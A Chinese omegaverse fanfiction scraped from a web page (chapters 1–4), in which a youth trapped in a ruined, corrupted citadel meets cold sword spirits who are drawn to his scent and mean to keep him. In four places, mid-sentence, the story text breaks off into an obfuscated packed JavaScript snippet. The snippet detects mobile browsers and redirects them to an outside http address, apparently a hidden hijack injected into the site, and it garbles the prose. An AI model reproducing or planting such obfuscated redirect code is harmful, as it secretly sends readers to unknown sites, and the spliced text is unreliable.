《大将组的omega审》 1. 第 1 章 鹤见悠纪的意识带着迟滞的朦胧感,他抬起头,眼前是一片极其宽广的日式建筑。 高高的木梁在昏暗的光影下显得有些邪气,他迷茫地吸了两口气,空气中还带着几分灰尘的气息。 这是一种沉甸甸的,仿佛连灰尘都已经死去的安静。 鹤见悠纪站起身,身上各处带着些酸软,他不甚舒服地揉了揉关节。 大脑一片空白,最后的记忆停留在是回家的小路,似乎有什么尖细的声音叫了他的名字,自己迷迷糊糊应了一声,然后—— 他就来到了这里。 “这是哪?” 鹤见悠纪喃喃出声,声音在空旷的空气中泛起轻微的波澜,而后又迅速被寂静重新覆盖。 他环顾四周,只有几根粗大的柱子和角落堆放的一些杂物,紧接着就是破碎的建筑群。 头顶被厚重的乌云遮盖住,阳光稀少,远方只能看出一些模糊的轮廓,其余什么都瞧不太清晰。 一种陌生的不安感爬上心头,平日里丰富的想象力在恐惧的催化下开始胡乱衍生。 鹤见悠纪缓了一会儿,它放轻脚步,朝着最近的一条通路挪动。 古老的日式建筑的走廊上铺着旧旧的木地板,踩下去会有一些细微的吱呀声,略显青涩的少年尽可能放轻动作,但仍旧不可避免打破寂静。 这里实在太安静了,安静得不正常。 正当他要走到走廊尽头,再行寻找目标方向的时候后颈突然发生一阵刺痛。 他停住脚步,那里有一点奇怪的发胀感,还带出一阵陌生的温热,奇怪地抬手摸了摸脖子,除了稍长的柔软发尾,后面什么都没有。 就好像刚刚的刺痛是一种错觉一样。 可与此同时,一股难以形容的气息钻入他的鼻腔,那种味道很淡,若有若无,也不算难闻,甚至还能感受到掺杂的甜丝丝的气息。 不对劲。 鹤见悠纪的心跳莫名加快,他总觉得这种气息有股说不出的吸引感,契合感。 鹤见悠纪有些不安,脚下却已然行动起来,追随着气息的地方寻去。 吱呀声再次在他脚下响起。 很快,一扇难得完整的门出现在他眼前,透过若有若无的缝隙,门内的光线向外露出几分。 鹤见悠纪小心翼翼向内看去。 里面有一个少年,对方背对着门口跪坐在垫子上,黑色的短发修剪的干净利落,背影挺直。 鹤见悠纪莫名觉得有些熟悉。 此刻对方的手臂有一搭没一搭的动作着,似乎正在擦拭着什么。 但是刚刚吸引他过来的气息,似乎就是从这少年的身上传过来的,现在离得近了,已经浓郁到让整个空间都染上一种难以言喻的粘稠与甜蜜。 鹤见悠纪感觉后颈陌生的鼓胀刺痛感又明显了一些,他倒吸一口气,猛地向后缩了缩脖子。 屋内的少年瞬间顿住。 对方本就挺直的脊背紧绷起来,连带着浑身的杀意蓄势待发般猛地冲了过来。 鹤见悠纪只觉寒意瞬间从脚底窜起来,他想自己应该迅速离开这里,然而屋内的少年已经转过头来,精准地看向他。 紫色的眼睛透过镜片直直的注视着自己。 那是一双很漂亮的眼睛,但是其中却没有任何情绪,就像冻结的冰块一样。 太过于冷静,没有任何波澜,甚至带着一种非人的审视感,把鹤见悠纪从头到脚、就连疯狂战栗的肌肉都看得清清楚楚。 鹤见悠纪被他看得头皮发麻,后颈处的感觉在对方的视线中变得愈加明显,与此同时,他也惊讶地认出了对方的身份。 药研藤四郎。 一把短刀。 但是这样冰冷沉默的样子,显然和他脑海中那个沉稳的形象并不相符。 药研藤四郎镜片后的眼眸僵硬地转动,他打量着这个不速之客,目光在那具青涩的身体与面容上略过。 许久,杀意收敛:“你是谁?” 音色很熟悉,又冰冷得没有任何温度。 鹤见悠纪已被他吓得僵在原地,此刻被问到也手足无措,“我、我是鹤见悠纪……对不起,我也不知道怎么就到这里来了……” 他语无伦次地解释着,慌乱的情绪明晃晃摆在脸上。 他知道这样不行,连忙深吸一口气,在混乱的脑子中抓住自己最需要的问题:“那个,那个,你知道怎么从这里离开吗?” 鹤见悠纪眼中露出几分期待看向眼前的付丧神。 这是他在这里找到的第一个生物,凭借着心中印象残留的那几分好感,他莫名觉得或许可以从对方的身上找到让一切恢复正常的路。 却未曾想付丧神在听见他的自我介绍时眸色猛地暗了下来。 ……真名。 药研藤四郎静静的听着,面上看起来没有任何变化。 很快,空气再次陷入沉默。 鹤见悠纪感觉有些不太对劲,可是他又说不上来,哪里不太对劲。 恍惚间,他感受到对方的视线从自己的身上扫过。 冰冷冷的,没有任何温度,像是在看什么物件。 许久,药研藤四郎起身,他向鹤见悠纪走近,声音冰冷:“你身上有灵力的气息。时之政府不会放弃它选择的审神者。” 鹤见悠纪意识到他似乎误会了什么,想要开口解释,但是对方并不需要他的回答。 “我没心思多管闲事,但是这里可没有防护罩,时间溯行军会进来,别乱惹麻烦。” 药研藤四郎皱着眉,似乎已经看见了眼前人给自己惹麻烦的讨厌模样。 时间溯行军? 想着那些长得狰狞满身骨刺的敌人,鹤见悠纪不由得脸色白了白。 而且自己并非对方口中所说的被时之政府选择的审神者,也就是说…… 药研藤四郎停在他的面前,细细观察着那双因为恐惧而震颤的紫色眼眸。 ……是和他相似的颜色。 全身上下,除了那份不合时宜的稚嫩感,都和自己极为相符。 而且,落在鼻尖若有若无的气息,已经浓郁到他无法忽视的地步了。 他闭了闭眼睛,努力平复气息:“走廊尽头有一间空置房房间,去待着,别乱跑。” 鹤见悠纪抓紧衣角。 因为语气,他不太确定……是在保护他吗? 但这是基于自己能够走掉的情况下,如果自己并不能走掉的话,那就是一个累赘。 一个素不相识的累赘……他不敢想象。 “为什么要让我留下?” 鹤见悠纪忍不住问。 不管多管闲事的话,直接让他走掉不是更省事吗? 药研藤四郎已经转回身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066953|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新坐上垫子,恢复之前擦拭的姿态。 听到这句问话,也只有一句冰冷平淡的话飘过来:“如果你想死的话,我也不会拦着你。” 鹤见悠纪别无选择。 他默默的按照对方说的方向转身走向走廊深处。 在他转身离开后,房间里药研藤四郎停下动作,面无表情地看着手中自己的本体。 半晌,他微微侧头,看向空无一人的门口,声音轻得几乎听不见:“匹配度……好高……” 药研藤四郎抬手,指尖抚过后颈,那里传来一阵熟悉的痛苦,和刚刚从那个少年身上感知到的气息拂过时的舒服形成鲜明对比。 身体选择了那个人。 一个看起来极为年轻,没有被任何东西侵染的少年。 但是理性不允许他将无辜人拖入这破碎的无尽的黑暗中。 他是已经暗堕的刀剑,不能毁了一个前途无量的新审神者。 他闭上眼睛。 ……但如果只是一段时间,没关系的。 鹤见悠纪很轻易就找到了那扇门,他拉开,这里确实是个空闲的房间,比刚刚药研藤四郎所在的地方小许多,但是基础的家具也是一应俱全。 空气中带着一股许久不住人的阴冷感,但不知道是不是被谁打扫过,算得上整洁,可以直接住人。 少年走进去反手关上门。 身后迅速传来门复而打开的声音,鹤见悠纪皱眉,这扇门很老旧,看起来并不牢靠。 但是也没别的选择,他坐上榻榻米,静了片刻,又长长呼出一口气。 或许他幸运地找到了暂时的安全,但是究竟要怎么离开这里,他毫无头绪。 怎么都静不下来,坐着休息一会儿他又起身,走到房间唯一的小窗往外看去。 窗外是一片荒芜的庭院,杂草丛生,枯枝败叶堆积在一起。 这里只有药研藤四郎一把刀吗? 鹤见悠纪不知道,他头疼地看向天空。 自己寻找了许久,天色已晚,这里的建筑在暮色笼罩之下显得更加凄凉。 与此同时,饥饿感袭来,胃里空空如也十分难受。 他需要食物和水。 药研藤四郎是说让自己待在这里,别的什么都没提及……难道是只提供住宿,至于别的都要自立更生什么的。 但是又说让他别乱跑,鹤见悠纪迷茫着,不知道自己该勇敢地踏出门去寻找或许存在的粮食与水,还是乖乖听话就待在这里。 几番挣扎下,他还是放弃了莽撞跑出门的选择。 睡着了就不饿了。 鹤见悠纪摸索着在榻榻米上坐下,而后侧身抱着膝盖把自己蜷缩起来,额前发丝遮住他的神情,本就脆弱的模样在静下来时更显得触目惊心。 黑暗很快完全降临,目不能视放大所有的感官,他能清晰听到自己急促的呼吸声,还有无法忽视的、后颈持续不断传来的温热与鼓胀。 ……果然还是有哪里不对。 他迷迷糊糊想着,意识却已不再清醒,耳边似乎出现了刀剑撞击的声音,又很快远去。 鹤见悠纪不安地翻了个身,忽然,清淡的气息突然幽幽飘来,直至包裹全身。 “……” “睡吧……” 谁? 眉间被抚平。 不安,散去了。 2. 第 2 章 鹤见悠纪在第二天天刚刚亮的时候便迷迷糊糊醒过来了。 他感觉有些热,身上温度似乎比平常要高一些,但思来想去应当是因为自己刚睡醒,被子捂的。 比起那些更要紧的是他被饥饿干渴折磨得昏昏沉沉的大脑,手臂抬着都带着一股酸软味。 这种感觉十分痛苦。 鹤见悠纪坐起身来,又扯着被子把自己捂住,后背靠在墙壁上,双臂环绕腹部,试图用按压的办法克制这种饥饿感。 正头昏眼花的时候,门口突然传来了些许的动静,他瞬间警惕起来。 没有刻意掩藏的脚步声还有些许布料摩擦摩擦声混合在一起,很快,声音缓慢停在门外。 寂静蔓延。 鹤见悠纪身体僵住了,他屏住呼吸,努力保持冷静。 谁会在这时突然来到他的门前? 他轻手轻脚起身,眼睛死死盯着门板下方那道稍明显的缝隙,那里能瞧见些脚部的影子。 然而本就没有关紧的大门在此时又发出吱呀一声,紧绷的鹤见悠纪吓了一跳,后背似乎都冒出了冷汗,紧抿的唇透出几分白。 视线忐忑上移,门缝里能看见的外面更加有限,但这些许影子也让他瞧出并非是什么怪物的模样,反而是正常的人影。 至少这并非是药研藤四郎所说的时间溯行军,或许是居住在这座本丸中未曾露面的其他刀剑。 影子停住了,虽然没有其他动作也没有再发出声音,但是鹤见悠纪却诡异的能感觉到对方发出的轻轻浅浅饿呼吸声。 空气中有什么气息让其随着一起传递,鹤见悠纪不禁产生了一种门外的东西早已锁定自己的惊悚感。 太奇怪了。 他抬手捂住口鼻,控制自己不要发出异动。 时间一分一秒的过去,空气中是一如既往的安静,他看着影子后退,消失,周围的一切重新恢复了平静。 他警惕的等待了一会儿,确定真的在没有发出动静之后再小心翼翼的摸到门边。 微微将那道缝隙放大一点,圆润的眼睛小心翼翼的看向门口,紫眸中满是对未知的警惕,但外面什么都没有。 那家伙究竟是来做什么的,就过来看一看然后就走掉了吗,他不明所以。 视线不甘心地再环视一圈,当低下眼眸瞅向地板的时候终于看见了端倪。 只见原本空荡荡还灰扑扑的地板上此刻放着一个托盘托盘,托盘上放着一碗米饭,一些简单的菜和满满一杯的水。 是自己需要的东西。 他一时间有些迷茫。 刚刚那个影子究竟是谁? 鹤见悠纪知道,绝对不是药研藤四郎。 但是对方看起来没有恶意,饥饿和干渴最终战胜了心中的恐惧和疑虑。 他浑身紧绷着轻轻拨开本就摇摇晃晃的木门,动作迅速将托盘拉了进来,又立刻把门关上。 这次他留了个心眼,拿着房间中唯一的木倚把门顶上了,这样原本没有什么保护力的门变得更加紧密了些,微小的门缝显示,只剩下底部的缝隙。 若是什么人想要不惊动屋内人窥视,还必须得低下头去才行。 虽对鹤见悠纪所需防备的任何对象都没有用,但这样徒劳的办法能勉强加强他心中的微弱的安全感。 饭菜和水都很简单,但是对于饥肠辘辘的他来说已经足够了。 顾不上多想,食物和水带来的温暖让鹤见悠纪疲惫的身心缓和下来。 等吃饱喝足,他慌乱的心绪稍稍平复,少年抱着膝盖坐在黑暗中静静思考。 既然送饭来的不是药研藤四郎,也就是说这座本丸中极大可能还有其他刀剑付丧神的存在,那人对他也没有恶意。 至于为什么那么肯定不是药研藤四郎,因为他记得那把刀的气味。 是清淡的感觉,然而刚刚过来的影子身上带来的,虽然很浅,但甜蜜的底色已经克制不住扑了过来。 虽然不知道为什么付丧神身上却会有奇怪的气息,但是却刚好让他能够辨认对方的身份。 但既然有其他人的话,为什么这种东西却不露面呢?是在顾忌着什么? 鹤见悠纪不安地咬了咬唇,他蜷缩在黑暗中,无助又可怜。 他不喜欢这里,冷,恐惧,安静……就算是窗外的阳光也落不进来,无法生出一丝温度。 与此同时,后颈的怪异没有消失,总不时闪出温痛打乱他的思考。 晃了晃脑子,柔软的发质顺着他的颈脖绕上皮肤,白皙与乌黑极致相反,喉结不安滚动,眼中尽是迷茫。 一堆问题没有答案,鹤见悠纪把托盘重新放到门口,又小心翼翼的恢复门和椅子的位置。 他不敢出去。 在黑暗中摸索着重新躺上冰凉的榻榻米,困意再次席卷而来,被嘱咐了不能出门,他也没有别的事可做。 迷迷糊糊,少年再次再次陷入沉睡之中。 他不知道的是,当他将空荡荡的碗碟推出门外时,不远处的走廊阴影里一个身影静静靠墙而立,红色的短发落在蜜糖般的眼睛边,平日里带着活力的脸上只剩下带着探究的疑虑。 他看着那扇紧闭的房门,手指无意识的收紧扣上自己的衣角。 “真是新奇的气息……”他无声的蠕动嘴唇,眼神深处不禁掠过一丝复杂情绪,但很快又被更深的漠视覆盖,“不想离开的话,那就被我们藏在这里也很不错呢。” 那张脸,怎么都不会看腻吧。 他没有从那个人类身上感受到想要离开的气息,也就是说,他也希望留在这里,那他们便不是在强迫这个人。 既然是自愿的,那就一直自愿下去。 他歪了歪头,随后身影融化一般藏进阴影里消失不见。 庭院深处荒草丛中,打扫残骸的药研藤四郎皱眉看向这边,他喉咙里发出一声极低的意义不明的声音,想被什么液体卡住了。 片刻后,他移开视线,仿若什么都没有发现一般继续自己手中的动作。 要赶紧收拾干净,这样混乱的场景,可不能被瞧见。 无数肢体残骸散落在他身侧,随着他打扫的动作逐渐消失。 ……被看见,会吓到的。 已经完全残破的暗堕本丸如死水般停滞,然而指针,已开始被变量施加推力。 光线惨白而稀薄,挤不进窗户,也带不来多少暖意。 鹤见悠纪这一觉睡得很长,脑袋都有些晕乎乎。 他缓慢坐起身,硬邦邦的榻榻米咯着他骨头有点疼,睡前的记忆回笼,他下意识歪头,睡前抵上的的椅子仍然停留在原地,门也没有被打开的痕迹。 他走到窗边探出头,头顶的太阳仍旧模糊,他勉强辨认出位置,瞧样子自己竟是又一觉睡到了下午。 他什么时候这么容易困了? 然而,时间跨度还这么长。 长时间的睡眠在醒后饥饿感再次袭来,他犹豫片刻,还是凑近了门,从狭小的门缝观察门外的地面。 什么都没有,走廊空荡荡的,空气中都是着诡异的寂静。 心中说不上是失落还是什么情绪,鹤见悠纪关紧了门,又觉得自己矫情,光想着别人给他送东西。 他现在该怎么做? 药研藤四郎让他别乱走,但是自己如果想要回去的话绝对不可能只停留在这个房间里,像早晨一样等待不知何时会出现的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066954|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物与水延续生命。 鹤见悠纪坐了下来,额前发丝随着动作垂落,遮住双眼,只留下颤抖的下半张脸。 这里究竟发生了什么,和他所知晓的游戏世界差距甚大,不论是破碎的本丸还是性格异常的付丧神,都让他心中不安极了。 他需要情报,而情报的来源,他现在能明确想到的只有药研藤四郎。 他只有他了。 然而刚想到这个名字,心中就生起对方毫无情感的紫眸和浑身冰冷的气息。 指尖缩了缩,白嫩的皮肤上是长久睡眠留下的细微红印,本就不算强壮的少年此刻更是少了几分力量感。 他有些害怕。 又深呼吸给自己打气,不叛逆的话是无法打破现状的 紧接着,他站起身来,鼓起勇气把房门一拉到底。 昏昏沉沉的环境和他昨天走来时没什么两样,凭借着记忆朝熟悉的方向走去。 鹤见悠纪尽量将脚步放轻,可是紧张的心跳声早已占据全部心神。 随着越来越近,那股熟悉的清淡气息再次隐隐约约飘来。 和之前一样,房门轻轻掩着,只露出一条缝隙,就连跪坐在垫子上的少年也是分毫不差。 鹤见悠纪停在门口踌躇着,不知自己能不能直接进去,最后还是轻轻敲了敲门,小声道:“药研。” 对方没有回应他,鹤见悠纪却莫名知道对方没有拒绝他。 果然,几秒之后,屋内传来平稳无波的声音:“进来吧。” 并没有因为他到处乱跑而生气,付丧神背对着少年的眼中甚至闪过几分无奈。 鹤见悠纪毫不知情,他走了进来,这间屋子和自己的不一样,这里有光,付丧神紫色的发梢和挺直的鼻梁在光影下格外明显。 药研藤四郎的模样平静无波,看起来没有任何情绪,仿佛进来的只是个无关紧要的存在。 “打扰你了。”鹤见悠纪见状也不敢向里走了,他手脚无措,不知如何是好,嘴巴都在打结,“那个、那个……谢谢你让我有个睡觉的地方。” 依旧是安静的。 鹤见悠纪不知道他是什么想法,只能硬着头皮继续说:“你说不能随便乱跑,但是我还是想找你……”来问问。 后面的话还没说出口,就见眼前的付丧神突然转过身来,一向平静无波的紫眸中似乎闪过什么情绪, “想找我?” 少年低头,明明是站着,药研藤四郎同样能窥见几分毛茸茸的脑袋,就像他本人一样无害又柔软。 虽然不知道对方为什么重复着三个字,但既然有回应就是好的。 鹤见悠纪点了点头:“嗯。” “我想知道一点关于这里的信息,还有,我真的没办法主动离开吗?” 他眼中闪过几分期待。 听到这话药研藤四郎便知道自己误会了什么,周身瞬间冷了下去,面无表情:“这里就是一座本丸而已,如你所见,破破烂烂。至于离开这里的办法,我只是区区一介流浪付丧神而已,我怎么会知道?” “这样吗……”鹤见悠纪情绪低落下来,他信了,也没察觉异常,“好的,谢谢你,我会再想想办法的。” 其实他一点思路都没有。 却又乖乖地接受眼前付丧神的“无知”。 药研藤四郎微不可察一皱眉,顿了顿又道:“你的身上有灵力的波动,何必执着于早些离开。” 时之政府绝对会找到自己遗落的审神者,而在这之前,安全会由他们负责。 还是说,就那么急迫的想要离开这里? 想到这种可能,嘴角本就浅淡的弧度彻底拉直,就连空气中的温度都一瞬降至零点。 3. 第 3 章 灵力? 鹤见悠纪有些无力地扯了扯嘴角,只能装作嘴硬:“我想早点回去,与其等待,还不如自己想想办法。” 沉默片刻,药研藤四郎还是开了口, “本丸当前所在位置在时空夹缝边缘,而且没有审神者稳定结界和空间,风险极高。” 不知道为什么付丧神的眼神格外冰冷,话语中完全没有任何安慰的成分,却还是把事实摆在了他面前:“……还有概率遭遇时间溯行军。” 又是时间溯行军。 鹤见悠纪咬唇,眼中是止不住的焦急。 虽然他不明白什么空间结界时空之类的东西,但是时间溯行军究竟是怎样的存在,他还是知道的。 历史修正主义者投放的战斗单位,它们会修改历史,为此会做出的事不限于烧杀抢掠。 自己在这里会遇到危险,独自盲目的闯出去也是危机重重,但现在留在这里至少还有概率获得眼前付丧神的庇护。 鹤见悠纪的心瞬间沉了下来。 “那、我只能留在这里了吗?” 他下意识低喃出声,视线恍惚着落在眼前付丧神的身上。 药研藤四郎的眼睛虽然和他同样是紫色,却比少年显得有些纯净的颜色更多了几分厚重与杀意。 付丧神的样子看起来并不好相处,也和鹤见悠纪熟知的设定不太相同,但是在这个完全陌生的环境里,似乎只有眼前这个对他稍微表露善意的存在,可以成为他生存依托的浮木。 鹤见悠纪的声音虽小,但是落在付丧神的耳中却仍是清晰的。 药研藤四郎看了他几秒,拿双淡漠的紫眸深处极快掠过一丝近乎无奈的神色。 知道自己出去不讨好的时候就开始撒娇了吗,这可不是有用的选择。 至少他是不会吃这一招的。 “你不想活着吗?”药研藤四郎站起了身,他移开视线,“允许你在这里暂留一段时间,但是不要离你的房间太远,别给我们添麻烦。” 鹤见悠纪闻言思索:“太远,什么程度算远?我现在到这来……” 他的疑问明显,药研藤四郎想忽略都忽略不了。 他轻咳一声:“可以过来,但是没事不要来打扰我。” 他没那么想见到这家伙,最好别出现在自己面前才是。 付丧神的声音冰冷冷的,但是落在鹤见悠纪的耳朵里却显得格外温和。 他笑道:“好。” 只是语气不算暖和而已,但是话语中没有哪个字是真的不好。 所以在自己眼前的这一把药研藤四郎并非是成熟稳重药总的设定,反而是刀子嘴豆腐心吗? 鹤见悠纪若有所思。 药研藤四郎瞧着他明显变化的神情,总觉得这家伙没想什么好事,但他无心去探究那些无关的事情,只是顿了顿,补充道: “如果察觉到异常就立刻返回房间,把门关好。不管听见什么、看见什么都别离开那里。” 房间是无伤点? 鹤见悠纪乖巧点头:“我知道了,我不会乱跑的。” 事事有应答,句句不反驳,药研藤四郎冰冷的语气都快维持不下去了。 他强硬道:“还有事吗?没事的话……” “有的有的。就是今天的食物,”鹤见悠纪有些迟疑地挠了挠头,“虽然不知道是谁送过来的,但是如果可以的话,想拜托你帮我谢谢他……” 药研藤四郎目光突然锐利起来,声量一瞬升高: “你看见他了?!” ——觉得他怎么样? 后半句疯癫的话被死死的卡在喉咙里。 鹤见悠纪被他猛烈的反应吓了一跳,急忙摇头:“我没看见他,就、就从门缝里看见了影子,别的什么都不知道。” 怎么这么紧张?难道是什么看了必死的怪物吗?他不禁打了个寒颤,幸好自己没有冒然去探究那家伙的本体。 药研藤四郎沉默片刻,“没什么。没事的话你就回去吧。” 鹤见悠纪从他的反应里看出几分端倪,看来不是自己猜测的那个方向。 应该是本丸里确实还有别的刀剑,只不过眼前的付丧神并不想让自己与其他的刀剑有所接触。 为什么?难道是其他的刀剑会对他动手吗? 他识趣地闭了嘴,没有再继续问旁的什么。 至于后颈自从靠近这里就变得安定下来的阵阵闷痛,早已被抛之脑后。 鹤见悠纪点了点头,便准备转身离开。 正当他要跨出门时,药研藤四郎又突然开口叫住了他。 “等一下。” “嗯?”鹤见悠纪回头看去。 药研藤四郎的视线落在他的脸上依旧是淡淡的,但是似乎又多了点别的东西: “如果身体出现异常的话,也尽量不要乱跑,把门关紧。” 鹤见悠纪眨了眨眼,他没太听懂,但是反而被提醒了另一件事:“我的门好像关不上。” 突然反应过来本丸到处都破破烂烂的药研藤四郎:“……” “总之你关好就是了。” 鹤见悠纪看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066955|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这反应,还想再问些什么,但是对方已经重新回到垫子上,摆出送客的姿态了。 只好把疑问压回心底退出房间,也顺手带上了门,房内的一切被彻底割据。 他用了点力,就连那一道总是存在的缝隙都完全合上了。 站在寂静的走廊里,鹤见悠纪的心情有些复杂,药研藤四郎告诉了他一些信息,虽说对他的离开没有太大帮助,但是也是有问必答。 可他依然被困在这个奇奇怪怪的地方。 鹤见悠纪叹了一口气,按照对方所说的范围内,慢慢沿着走廊踱步。 既然无事的话,便随便随意走走。 周围的房间也大多是露出一条缝隙,它们都关不上,他推开了一扇门,里面是如出一辙的空荡荡,地面上的灰尘也显而易见。 这里的房间都很久没有人使用过,到处透着一股缺乏人气的冰冷感。 药研藤四郎的审神者去哪了? 付丧神存在的话,必然也会存在将其唤醒的审神者才对。 但是在这里,他没有看到任何一丝人类的痕迹。 这座本丸是发生了什么才变成现在这个样子的?还有之前来给自己送饭菜的那位又是谁? 问题一个接着一个,却怎么都没有答案。 后颈的温热感再次出现,但是却没再像之前那样明显。 鹤见悠纪谁不知道自己为什么会总是脖子疼,总不可能是落枕了才导致的。 他抬手揉了揉后颈,收效甚微。 抬起头余光洛向瞥见庭院角落。 这里杂草丛生,还有些凋零的枯木支棱起来,看不出任何生机,配合着头顶微弱几乎消失不见的光亮也打出一片阴影。 那里,似乎有什么东西动了一下。 鹤见悠纪瞬间屏住呼吸,轻手轻脚的朝那边靠近去。 之前药研藤四郎的话被他瞬间抛之脑后,看见异常第一时间就凑了过去。 之前一个纤细的身影背对着他蹲在杂草丛中,隐约能瞧见黑色的看起来有些硬质的短发,几乎要与阴影融为一体。 他低着头,手里似乎拿着什么东西,隐隐约约透出几分血淋淋的色彩。 虽然动作幅度不大,但是现在的距离仍旧能看出他紧绷的肌肉线条。 还有一股几乎要按耐不住的更加沉重而压抑的躁动气息。 鹤见悠纪皱眉,他看不出几分名头,屏住呼吸,就要收回脚步悄悄离开。 奇怪的存在,不能被发现。 蹲着的身影猛地“咔嚓”转过头来。 4. 第 4 章 毫无感情的灰色眼眸眼底带着深不见底的冰冷和锐利,如同锁定猎物的猛兽一样,直直的刺了过来。 而在下方半遮半掩的手中,鲜红的血淋淋的物体就这样直白的呈现在面前。 鹤见悠纪吓得向后踉跄一步,瞳孔震颤。 知道对方在起了身,他才发现刚刚瞧着像黑色的头发中还掺杂着几分紫色,只不过颜色过于浓郁了,才会近似于黑色。 但现在不是在意那些的时候,直面血淋淋对他来说还是太刺激了点,少年僵在原地一动不敢动。 厚藤四郎看了他几秒,脑袋突然轻轻歪了歪,紧接着才反应过来一样眼框微微睁大,慢一拍地将手中的东西藏到身后。 付丧神移开视线,仿佛自己看不到,眼前的人类就看不到他了。 鹤见悠纪屏住呼吸,见他没有其他的动作变化,胆子大起来慢慢向后挪动。 厚藤四郎的视线紧跟着他。 鹤见悠纪咬着唇,他不敢开口说话,生怕自己激怒了眼前这平衡着的景象。 一边挪一边观察。 周遭都静悄悄的,他也没有从这样的视线中感受到危险。 疯狂跳动的心脏安静了下来,一瞬间震耳欲聋的心跳声从脑海中消去。 忽然, “你不过来吗?” 沉稳的声音响起,惊得鹤见悠纪猛地停在原地,视线僵硬地看向眼前的付丧神。 只见对方歪头的动作去幅度更大了,眼中闪现出疑惑: “就算是没有接到任务,也不能太过散漫哦,战场还没有打扫干净,不要过来捣乱。” 这句话说得自然,语气却没有任何起伏。 “战场……啊,你是在打扫战场吗?”鹤见悠纪看着对方自己不开口就不罢休的样子,只能硬着头皮道,“真是辛苦了。” “没事的,毕竟是日常工作,交给我就没问题的。”厚藤四郎忽的向前一步,却瞧见眼前少年瞬间警惕起来的表情。 不知道为什么他总觉得心里有点不舒服,付丧神停下动作,“不过大将也有自己的工作吧,已经完成了嘛,十分厉害的效率啊!” 大将……就是把自己当做他的审神者了吗? 鹤见悠纪努力放松自己的表情:“是的是的,今天的工作不算太多,很快就完成了。看起来你还有很多事要做,既然这样我就不打扰了。” 鹤见悠纪的几乎是逃也似的离开这里,边走边唾弃自己,为什么不听话,偏要满足那不必要的好奇心。 厚藤四郎看着他的背影,抬手用力的扯了扯嘴角,发现怎么也没有变化之后便放弃了这番无聊的举动。 他将手中的东西扔到地上,有些嫌弃地皱眉拍了拍手。 空气中还残留着鹤见悠纪的气息,虽然浅淡,却仍旧存在感极强,就连僵硬到几乎要坏死的肌肉都仿佛汲取到了几分生机。 他无法理解自己身体的变化。 喃喃自语:“奇怪的感觉……” 鹤见悠纪关上房门,又手脚利索地对着板凳过来,才终于坐在板凳上背靠门板剧烈喘息。 刚刚的场景太诡异了,虽然没有感受到什么危机,但是在离开那里之后,许多不对应的点连成线,过程中压抑如同冰冷潮水一般的气息穿透阻碍丝丝缕缕蔓延进血肉之中。 他感觉自己的皮肤有些热,甚至显得有些滚烫,连忙起身站到窗口,试图借着冷风降温。 凉凉的气息摧残他变得模糊的思绪,细微的痒麻般的悸动在这样冰冷气息的覆盖下也变得细微,无法察觉。 厚藤四郎……这个名字在鹤见悠纪脑海中浮现,刚刚的对话带着一种合理的诡异感,可这把刀在他的印象中不是这样的冷若冰霜。 一举一动、一字一句体会不到任何感情,仿佛所有的表达情绪的开关都被死死关上。 但是刚刚那样的话,却又确实是对方能说出来的。 ……这里的刀剑为什么一个比一个不对劲啊?他有些崩溃。 而且鹤见悠纪哪知道这把刀的大将是什么样子的,也不知道自己刚刚回应的话语会不会看出几分异常发现他不是对方口中的大将,就把他变成战场上需要打扫的垃圾。 啊啊啊啊啊—— 这样想也太可怕了,不行,不能这么想。 鹤见悠纪搓了搓脸,深呼吸。 吹过冷风之后,他谨慎地把窗关上,又在屋里找到一支看起来快要发霉的筷子,将窗户也给卡住。 鹤见悠纪抱着膝盖坐上榻榻米,他脑子里乱糟糟的,试图理清一切诡异的源头。 然而,当整个人静下来的时候,刚刚见到厚藤四郎时那种冰冷又湿润的气息又再一次的环绕过来,将他整个人都紧紧缠绕住。 紧紧压迫,想要和他融合的气息,肉/体甚至还生出一种会被吞吃入腹的恐惧。 突然,走廊里传来一阵清晰的脚步声,由远及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066956|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,最后停在了他的门外。 敲门声响起,礼貌而清晰。 